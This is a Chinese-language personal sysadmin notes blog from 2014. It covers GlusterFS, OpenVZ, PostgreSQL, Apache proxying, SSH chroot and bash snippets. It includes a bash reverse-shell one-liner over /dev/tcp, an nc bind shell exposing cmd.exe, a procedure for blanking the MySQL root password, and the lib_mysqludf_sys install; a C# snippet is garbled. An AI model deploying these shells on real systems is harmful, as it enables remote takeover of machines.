2014年12月31日 星期三

Glusterfs Replace Crashed Server

glusterfs 由 server1 server2 server3 組成,server3 損毀,重建 server3 方法

1.登入 server1 或 server2 查詢 server3 UUID
使用 gluster pool list
或 server1 server2 中/var/lib/glusterd/peers/*,取得 server3 uuid


2.登入 server3

stop glusterd
echo UUID={server3 uuid}>/var/lib/glusterd/glusterd.info
確認 server3 glusterfs 目錄
start glusterd
gluster peer status
gluster volume info
gluster volume sync server1 all
gluster volume heal  full

 restart glusterd

Centos 6 安裝 nginx


rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
yum install nginx

Linux 顯示硬體資訊指令

lshw dmidecode

NFS server inside openvz container

vzctl set $CTID --feature nfsd:on --save

編輯 $CTID /etc/sysconfig/nfs
vzctl exec $CTID vi /etc/sysconfig/nfs 加入
MOUNTD_NFS_V3="yes"
RPCNFSDARGS="-N 4"
NFSD_MODULE="noload"

2014年12月26日 星期五

CentOS7 安裝 PostgreSQL 摘要

安裝
yum install postgresql{,-libs,-server}

inital DB
postgresql-setup initdb  (資料位於 /var/lib/pgsql/data/)

開啟 postgresql service 服務
systemctl status postgresql.service

顯示所有 Datababe
 su - postgres -c "psql -c \\l"

顯示所有帳號
su - postgres -c "psql -c \\\du"

2014年11月28日 星期五

bash 取得 linux 核心版本

:;function fun_uname { :;local v;read v </proc/version;v=${v#*version };v=${v%% *};echo $v; return 0;};

bash read 游標範例

while true ;do
read -n3 a
[ "$a" = $'\x1b[B' ]&&echo = down =
[ "$a" = $'\e[A' ]&&echo = up =
done

Bash 取得指令真正路徑

:;function fun_getcmdpath { :;local _t=$(type -P $1 2>/dev/null); [ $? -eq 0 ] && echo $_t;};


Bash script 複製來源檔案的目錄結構

:;function fun_pathcp { :;_d=${1%*/*};[ $1 = $_d ] && _d=".";mkdir -p /$2/$_d;cp -fcp $1 /$2/$_d/;};

BASH 4 讀取 HTTP 資料

exec 6<>/dev/tcp/www.google.com/80
echo "GET / HTTP/1.1
host:www.google.com

" >&6

TIMEOUT=3;
while read -t $TIMEOUT <&6;do echo $REPLY && TIMEOUT=0.05; done
exec 6<&- && exec 6>&-;

2014年11月20日 星期四

2014年10月7日 星期二

2014年10月6日 星期一

CentOS 7 phantomjs 中文使用筆記

安裝
download phantomjs-1.9.7-linux-x86_64.tar.bz2
yum install fontconfig freetype  libstdc++
yum install *fonts*

使用範例
編輯 exp.js 內容如下
var page = require('webpage').create();

page.open('http://www.google.com', function() {

    page.viewportSize = {width: 1024, height: 768};
    page.render('screenshot.png');
    phantom.exit();
});

 ./phantomjs exp.js

使用 nc 作為 windows telnet server

nc -l -p 8080 -t -e cmd.exe

Screenshot Capturing Basics

CentOS 6,7
yum install Xvfb ImageMagick
yum install firefox

Xvfb :2 -screen 0 1024x768x24&
DISPLAY=:2 firefox http://www.example.com
import -window root example.png

2014年10月1日 星期三

bash reverse shell

client host:10.0.0.1(接收端) 執行
nc -l 8080

server:端(傳送端)
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1


2014年9月23日 星期二

bash 多行註解

使用 : 指令及 header redirect 技巧

:<<REM
註解
註解
註解 
註解
REM

bash 以換行作為 IFS

IFS=$'\n';

其他應用 - 輸出多個換行
echo $'\n\n';

bash 取得路徑和檔案名

:;function fun_basename { :;echo ${1##*/};};

:;function fun_dirname { :;local _t=${1%*/*};[ $1 = $_t ] && echo "."||echo $_t;};

使用SNMP取得飛瑞UPS USHA電池剩餘時間

bash script 範例
snmpwalk -v 1 -c public 10.10.10.1 1.3.6.1.2.1.33.1.2.3

php範例
$host='10.10.10.1';

snmp_read_mib('./RFC1628cs121.MIB');
snmp_read_mib('./SW-USHA_MIB_v2.08.mib');

$a = snmpwalkoid($host, "public", "UPS-MIB::upsEstimatedMinutesRemaining");
//$a = snmpwalkoid($host, "public", "");
//$a = snmpwalk($host, "public", "USHA");

foreach ($a as $key=>$val) {    echo "$key = $val\n";  }

UPS MIB 資訊
UPS-MIB::upsBatteryStatus.0 = INTEGER: batteryNormal(2)
UPS-MIB::upsSecondsOnBattery.0 = INTEGER: 0 seconds
UPS-MIB::upsEstimatedMinutesRemaining.0 = INTEGER: 18 minutes
UPS-MIB::upsEstimatedChargeRemaining.0 = INTEGER: 100 percent
UPS-MIB::upsBatteryVoltage.0 = INTEGER: 4330 0.1 Volt DC
UPS-MIB::upsBatteryCurrent.0 = Wrong Type (should be INTEGER): NULL
UPS-MIB::upsBatteryTemperature.0 = INTEGER: 38 degrees Centigrade

2014年9月22日 星期一

使用 bash shell 取得 Linux 開機時間

/proc/stat

btime - 電腦開機的時間,以由 epoch (1970 年 1 月 1 日) 至開機時間的秒數表示。


date -d $(echo @$(cat /proc/stat |grep btime |cut -d ' ' -f 2))

2014年8月21日 星期四

使用bash script 取得網路卡 IP

for i in $(ls /sys/class/net/);
do ip addr show $i |grep inet |while read -r j ;
do ip=${j#*inet6};ip=${ip#*inet}; echo $ip; done;
done;

2014年7月18日 星期五

2014年7月16日 星期三

2014年7月10日 星期四

CentOS 更改時區

sudo rm /etc/localtime
sudo ln -s /usr/share/zoneinfo/Europe/London /etc/localtime

2014年7月9日 星期三

Android 手機資訊

IMI碼:*#06#
工程模式:*#*#4636#*#*

2014年7月1日 星期二

NetTV 2 筆記

reset動作:將所有線材拔除,重接上電源線,待燈號停止閃爍,恆亮綠燈後,
再重新壓下reset,約5秒(綠燈閃爍)後即可放開,接著燈號熄滅,稍後燈號會在
重新亮起,即完成。

預設 IP:192.168.1.100
密碼:admin

2014年6月19日 星期四

Digizon 211B 使用筆記

reset 10 秒
預設網路:192.168.1.2/24
預設密碼:空白

相關資源
http://ip-of-the-digizon:8000
rtsp://ip-of-the-digizon:40001/kcs
rtsp://ip-of-the-digizon:7070/hmc3
rtsp://ip-of-the-digizon:8001/hmc3

2014年6月18日 星期三

MsnSwitch 使用筆記

設定網址: http://msnswitch
預設帳號/密碼:admin / blank
預設網路:dhcp / 192.168.0.254/24 (無dhcp server 3 分後)

AnyX IP TV 使用筆記

預設帳號密碼
admin/admin

預設網路設定
dhcp

強迫關機
按住不放電源開關3秒鐘以上

主機藍色顯示燈(傳輸)不閃爍
無資料傳輸時藍色顯示燈不會閃爍。

設定網頁
http://固定IP/index.asp

行動裝置
http://固定IP/m/index.asp

防火牆相關設定
TCP 80 (http)
TCP 554 (rtsp)

Android系統
安裝 MX Player

2014年6月13日 星期五

hosts.allow之優先權大於hosts.deny

應用:
hosts.allow中設定某服務可允許的IP或位置
再在hosts.deny將該服務其他所有的IP或位置拒絕

禁止 root ssh 登入

編輯 /etc/ssh/sshd_config 修改
#PermitRootLogin yes
改為
PermitRootLogin no

CentOS 6 安裝 PHP ssh2 extension

yum install gcc php-devel php-pear libssh2 libssh2-devel make
pecl install -f ssh2
echo extension=ssh2.so > /etc/php.d/ssh2.ini

2014年6月10日 星期二

2014年6月9日 星期一

查詢 Windows AD LDAP SRV記錄

使用 nslookup  輸入

set type=srv
_ldap._tcp.dc._msdcs.Domain_Name

2014年6月4日 星期三

AWB RG231 使用筆記

預設IP:192.168.1.1/24
預設密碼:admin
出廠預設值:持續按下底部的重設鍵五秒鐘或更長的時間。

2014年5月9日 星期五

OpenVZ VPS 增加 Postgresql shared_buffers

修改 VPS $VEID 中 /etc/sysctl.conf 內容如下
# Controls the default maxmimum size of a mesage queue
 kernel.msgmnb = 65536
# Controls the maximum size of a message, in bytes
 kernel.msgmax = 65536
# Controls the maximum shared segment size, in bytes
 kernel.shmmax = 68719476736
# Controls the maximum number of shared memory segments, in pages
 kernel.shmall = 4294967296

修改 VPS $VEID 中 /var/lib/pgsql/data/postgresql.conf 內容
shared_buffers = 512MB

重新啟動 VPS
vzctl restart $VEID

OpenVZ VPS(CentOS 6) 安裝 Glusterfs 摘要

RedHat已將 Glusterfs 加入官方 RPM中,以下 repo 相關指令可不執行
vzctl exec $VEID wget -P /etc/yum.repos.d http://download.gluster.org/pub/gluster/glusterfs/LATEST/EPEL.repo/glusterfs-epel.repo

vzctl exec $VEID yum install glusterfs-{,fuse,server}

vzctl stop $VEID
vzctl set $VEID --devices c:10:229:rw --save
vzctl exec $VEID mknod /dev/fuse c 10 229 
vzctl set $VEID --capability sys_admin:on --save

vzctl restart $VEID

PROXMOX(version 3.21) Open VZ VPS 使用 iptables 作 PORT 轉向

proxmox 載入相關 modules
modprobe xt_state
modprobe xt_tcpudp
modprobe ip_conntrack

編輯 /etc/vz/conf/$VEID.conf 加入
IPTABLES="ipt_REJECT ipt_tos ipt_limit ipt_multiport iptable_filter iptable_mangle ipt_TCPMSS ipt_tcpmss ipt_ttl ipt_length ipt_state iptable_nat"

VPS重新啟動
vzctl restart $VEID

iptables 範例  port 888 轉向 port 80
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 888 -j DNAT --to  $(ip addr show eth0 |grep "inet "|cut -d "/" -f 1|cut -d \t -f 2):80

iptables -L -n 
iptables -t nat -L -n 

OpenVZ 更改 VPS hostname

vzctl set $VEID --hostname "new-hostname" --save

OPenVZ VPS 使用特定分割區 (Bind mounts)

CTID=777   # VPS container ID
 
echo '#!/bin/bash
. /etc/vz/vz.conf
. ${VE_CONFFILE}
SRC=/mnt/disk    #  HN 掛載目錄
DST=/mnt/disk    #  VPS 中要掛載目錄
if [ ! -e ${VE_ROOT}${DST} ]; then mkdir -p ${VE_ROOT}${DST}; fi
mount -n -t simfs ${SRC} ${VE_ROOT}${DST} -o ${SRC}
' > /etc/vz/conf/${CTID}.mount
 
chmod +x /etc/vz/conf/${CTID}.mount

>參考 http://wiki.openvz.org/Bind_mounts

2014年4月28日 星期一

Bash Script 字串判斷

string='script test string';

if [[ $string == 'script test string' ]]
then
  echo "0 It's there!";
fi

if [[ $string == *test* ]]
then
  echo "1 It's there!";
fi

if [[ $string == *string ]]
then
  echo "2 It's there!";
fi

if [[ $string == script* ]]
then
  echo "3 It's there!";
fi

2014年4月3日 星期四

PHP 取得瀏覽器 IP

Web Server 無反向代理時:
$_SERVER["REMOTE_ADDR"]

Web Server 具反向代理時:
$_SERVER["HTTP_X_FORWARDED_FOR"]   
$_SERVER["HTTP_X_FORWARDED_HOST"]    -->反向代理伺服器
$_SERVER["REMOTE_ADDR"]   -->反向代理伺服器

SSHD 限制特定群組帳號只能使用 SFTP

說明:
限制 sftponly 群組帳號只使用 SFTP 傳輸檔案,並透過 chroot 限制存取目錄

修改 /etc/ssh/sshd_config 內容
Subsystem      sftp    /usr/libexec/openssh/sftp-server
修改為
Subsystem      sftp    internal-sftp

加入
Match group sftponly
         ChrootDirectory /home/%u
         X11Forwarding no
         AllowTcpForwarding no
         ForceCommand internal-sftp

增加帳號及設定相關環境
groupadd sftponly
useradd test -g sftponly
chown root.root /home/test
chmod 755 /home/test
mkdir /home/test/sftp
usermod -d /sftp test
chown test.sftponly /home/test/sftp
passwd test

CentOS 6 使用 btrfs 摘要

yum install btrfs-progs
modprobe btrfs

mkfs.btrfs /dev/sdb1
mount – t btrfs /dev/sdb1 /mnt
mount – t btrfs – o compress /dev/sdb1 /mnt (使用壓縮)

更改 UUID LABEL

修改 UUID
tune2fs /dev/device  -U UUID

修改 LABEL
e2label /dev/sda1 /test

PROXMOX VE 3.2 install OpenVSwitch

apt-get update
apt-get dist-upgrade
apt-get install openvswitch-switch

2014年3月4日 星期二

Apache Reverse Proxy 設定摘要

Reverse Proxy 的設定 /etc/httpd/conf/httpd.conf
<virtualhost *:80>
ProxyPass  /aa http://192.168.1.1      
ProxyPassReverse  /aa http://192.168.1.1
</virtualhost>

Web(192.168.1.1 (apache)) 修改 Log設定  /etc/httpd/conf/httpd.conf 加入
LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" proxy
SetEnvIf X-Forwarded-For "^.*\..*\..*\..*" forwarded
CustomLog "logs/access_log" combined env=!forwarded
CustomLog "logs/access_log" proxy env=forwarded
 
限制 
Web 中若有同一層目錄會有無法 PassReverse 情況
上例設定中若 url http://web/b <===> http://reverse-proxy/aa/b <= 失效
 

PROXMOX VE - OpenVZ Console

Centos 5 編輯 /etc/inittab 加入以下內容
1:2345:respawn:/sbin/agetty tty1 38400 linux


Centos 6 編輯 /etc/init/tty.conf 內容如下
# This service maintains a getty on tty1 from the point the system is
# started until it is shut down again.

start on stopped rc RUNLEVEL=[2345]

stop on runlevel [!2345]

respawn
exec /sbin/agetty -8 tty1 38400

更新 Proxmox Virtual Environment 3.x to latest 3.2

檢查 /etc/apt/sources.list  內容如下
deb http://http.at.debian.org/debian wheezy main contrib

# security updates
deb http://security.debian.org/ wheezy/updates main contrib

檢查 /etc/apt/sources.list.d/pve-enterprise.list 內容如下
deb https://enterprise.proxmox.com/debian wheezy pve-enterprise

執行以下指令
apt-get update
apt-get dist-upgrade
reboot

檢查版本指令 pveversion -v 

更改 PROXMOX VE 3.x 主機名稱

修改以下檔案
/etc/hosts
/etc/hostsname
/etc/postfix/main.cf

reboot

移動 openvz 設定檔
mv /etc/pve/nodes/{old-name}/openvz/* /etc/pve/nodes/{new-name}/openvz/

reboot

MySQL流程控制-repeat範例

# 去除字串中重覆空白字元

DROP FUNCTION `mrim`;
CREATE DEFINER=`root`@`localhost` FUNCTION `mrim`(`str` VARCHAR(2048)) RETURNS VARCHAR(2048) NOT DETERMINISTIC NO SQL SQL SECURITY DEFINER begin
DECLARE i INT DEFAULT 1;
DECLARE l INT;
DECLARE _str varchar(1024);
DECLARE _s varchar(1024);

set l = LENGTH(str);
set _str = '';

r1:REPEAT

set _s = substr(str,i,1);

if(_s<> ' ') then set _str = concat(_str,_s);
elseif (_s=' ' and substr(_str, LENGTH(_str), 1)<>' ') THEN set _str = CONCAT(_str,_s);
END IF;
  
set i = i + 1;

UNTIL i>l
END REPEAT r1;

return _str;
end

MySQL流程控制-while範例

# 字串反轉

DROP FUNCTION `while_ex`;
CREATE DEFINER=`root`@`localhost` FUNCTION `while_ex`(`str` VARCHAR(255)) RETURNS VARCHAR(255) NOT DETERMINISTIC NO SQL SQL SECURITY DEFINER begin
declare _ varchar(255) default '';

while not str is null and str<>'' do
  set _ = concat(_, substr(str, -1,1));
  set str = substr(str,1, length(str)-1);
end while;

return _;
end

2014年2月26日 星期三

MySQL流程控制

IF

CASE

LOOP

LEAVE

ITERATE

REPEAT

WHILE

MySQL 清除 root 密碼

/etc/init.d/mysql stop

/usr/libexec/mysqld --skip-grant-tables --user=root &

mysql -u root

mysql> UPDATE mysql.user SET Password=PASSWORD('') WHERE User='root';

建立 CentOS 6.5 OpenVZ Template

安裝 CentOS 6.5

yum install yum-utils
yumdownloader centos-release.x86_64
mkdir -p /newroot/var/lib
touch /newroot/var/lib/random-seed
rpm --rebuilddb --root=/newroot
rpm -i --root=/newroot --nodeps centos-release-6-5.el6.centos.11.2.x86_64.rpm
yum --installroot=/newroot install -y openssh-clients openssh-server yum yum-utils man wget sudo tar passwd
yum --installroot=/newroot clean all
ln -s /proc/mounts /newroot/etc/mtab
rm -f /newroot/dev/null
mknod -m 600 /newroot/dev/console c 5 1

編輯 /newroot/etc/fstab 內容如下
none /dev/pts devpts rw,gid=5,mode=620 0 0
none /dev/shm tmpfs defaults 0 0

修改  /newroot/etc/sysconfig/init
ACTIVE_CONSOLES=/dev/tty[1-6]
取代為
ACTIVE_CONSOLES=

tar zcf /root/centos-6-x86_64.tar.gz -C /newroot .

2014年2月17日 星期一

CentOS release 6.5 (64bit) 安裝 MySQL lib_mysqludf_sys 筆記

yum install mysql-devel

yum install git
git clone https://github.com/mysqludf/lib_mysqludf_sys
cd  lib_mysqludf_sys/

修改 Makefile內容
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o  /usr/lib64/mysql/plugin/lib_mysqludf_sys.so -fPIC

make

mysql -u root mysql < lib_mysqludf_sys.sql

2014年2月13日 星期四

C#筆記-剖析設定檔

讀取 txt.txt 檔案,以"="為分隔符號,儲存在 dictory 變數中


txt.txt 檔案內容
  one=    11
  two=22
  three  =33
four=44
five=55


using System;
using System.Collections.Generic;

class Program  {     
  static void Main(string[] args) {

    Dictionary varWith = new Dictionary( );
    varWith.Add("one", "");
    varWith.Add("two", "");
    varWith.Add("three", "");
    varWith.Add("four", "");
    varWith.Add("five", "");

    string[] lines = System.IO.File.ReadAllLines(@"txt.txt");
 
    foreach (string line in lines) {    
      if(line.IndexOf("=")<1 console.writeline="" continue="" foreach="" if="" in="" kvp.key="" kvp.value="" kvp="" line.indexof="" line.substring="" pre="" rim="" t="" var="" varwith.containskey="" varwith="">

2014年1月21日 星期二

Javascript 新增、刪除 HTML TAG select option 範例






群組資訊
未加入


目前

SSHD 特定群組帳號,使用 chroot 限制存取目錄

說明:
test 群組帳號,使用 chroot 限制存取目錄

修改 /etc/ssh/sshd_config 內容
加入
Match group test
         ChrootDirectory /home/%u

增加帳號及設定相關環境
groupadd test
useradd test2 -g test
chmod 755 test2
chown root.root test2
cd /home/test2
cp -rpi /lib64 ./
cp -rpi /lib ./
cp -rpi /bin ./
mkdir home
chown test2 home

OpenVZ 修改 VPS 建立 template

cd /var/lib/vz/private/$VEID

tar -cvzpf /var/lib/vz/template/cache/new-template.tar.gz .

CentOS 6 Apache reverse proxy 使用 mod_proxy_html

說明:
設定 http://reverse proxy/a/ 轉向 http://192.168.1.1:8080   (tomcat)
設定 https://reverse proxy/aa/ 轉向 https://192.168.1.2       (tomcat)

1. 安裝 apache modules mod_proxy_html
 
2.修改  /etc/httpd/conf.d/proxy_html.conf 內容
ProxyRequests Off
ProxyPass /a/ http://192.168.1.1:8080/
<Location /a/>
      ProxyPassReverse /
      ProxyHTMLEnable On
      ProxyHTMLURLMap http://192.168.1.1:8080/ /a/
      ProxyHTMLURLMap / /a/
</Location >

ProxyPass /aa/ https://192.168.1.2/
<Location /aa/>
      ProxyPassReverse /
      ProxyHTMLEnable On
      ProxyHTMLURLMap https://192.168.1.2/ /aa/
      ProxyHTMLURLMap / /aa/
</Location>


3修改 server.xml log 相關設定,加入真正瀏覽 ip
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="access_log" suffix=".log" pattern="%h %v %u %t %r %s %b %{X-Forwarded-For}i" resolveHosts="false"/>

mod_proxy_html rpm 下載
http://pkgs.org/centos-6/epel-x86_64/mod_proxy_html-3.1.2-6.el6.x86_64.rpm.html

CentOS 6 安裝 Apache https

yum install mod_ssl openssl 相關設定檔 /etc/httpd/conf.d/ssl.conf